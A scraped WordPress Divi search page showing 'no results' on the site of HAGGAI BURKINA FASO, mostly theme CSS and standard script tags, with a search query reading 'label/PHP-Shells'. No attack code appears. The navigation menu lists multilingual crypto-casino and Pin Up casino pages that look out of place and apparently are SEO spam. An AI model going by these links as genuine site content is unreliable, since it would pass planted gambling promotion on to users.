solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780281739' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
